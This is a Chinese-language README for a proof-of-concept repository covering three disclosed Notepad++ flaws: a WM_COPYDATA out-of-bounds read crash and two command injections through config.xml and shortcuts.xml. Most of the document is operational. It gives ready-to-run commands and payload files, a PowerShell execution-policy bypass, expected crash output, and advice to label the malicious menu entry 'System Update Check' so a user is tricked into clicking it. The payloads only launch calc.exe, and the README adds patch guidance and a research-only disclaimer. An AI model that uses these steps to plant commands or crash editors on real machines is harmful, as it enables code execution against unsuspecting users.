CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
三个针对 Notepad++ <= 8.9.6 版本的漏洞概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。

| CVE | 类型 | CVSS | 影响 |
|---|---|---|---|
| CVE-2026-48770 | 通过 WM_COPYDATA 越界读取 | 5.0 | 拒绝服务/崩溃 |
| CVE-2026-48778 | 通过 config.xml 操作系统命令注入 | 7.8 | 远程代码执行 |
| CVE-2026-48800 | 通过 shortcuts.xml 操作系统命令注入 | 7.8 | 远程代码执行 |
.py 脚本).ps1).
├── README.md
├── poc_CVE-2026-48770.py # 越界读取崩溃 (ctypes)
├── poc_CVE-2026-48778.py # 通过 config.xml 远程代码执行
├── poc_CVE-2026-48800.py # 通过 shortcuts.xml 远程代码执行
└── payloads/
├── config.xml # 即用型载荷 (CVE-2026-48778)
├── shortcuts.xml # 即用型载荷 (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # 越界读取崩溃 (PowerShell)
同一 Windows 会话中的本地进程发送一个精心构造的 WM_COPYDATA 消息(dwData=3),且不含 NUL 终止符。处理程序读取超出缓冲区边界,产生访问冲突(0xc0000005),导致 Notepad++ 崩溃。
触发条件: 必须已打开 Notepad++。
PowerShell:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
预期输出:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
Notepad++ 窗口消失,可能触发 Windows 错误报告 (WER)。
启动时读取 %APPDATA%\Notepad++\config.xml。<GUIConfig name="commandLineInterpreter"> 的值直接传递给 ShellExecute() 且未经校验。将其替换为任意可执行文件后,当用户点击文件 → 打开所在文件夹 → cmd 时即可实现远程代码执行。
# 注入 (自动备份原始文件)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# 触发:打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
# 此时启动的是 calc.exe 而非 cmd.exe
# 恢复
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# 打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:文件 -> 打开所在文件夹 -> cmd
启动时读取 %APPDATA%\Notepad++\shortcuts.xml。<UserDefinedCommands> 下的 <Command> 条目会被添加到运行菜单,并直接传递给 ShellExecute() 且未经校验。攻击者控制的条目在点击时执行。
# 注入 (自动备份原始文件)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# 触发:关闭并重新打开 Notepad++ -> 运行菜单 -> "System Update Check"
# 启动 calc.exe
# 恢复
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# 重启 Notepad++ -> 运行菜单 -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:运行菜单 -> "System Update Check"
更新 Notepad++ 到 v8.9.6.1 或更高版本。
下载:https://notepad-plus-plus.org/downloads/
| CVE | 安全公告 |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
仅供研究和授权测试使用。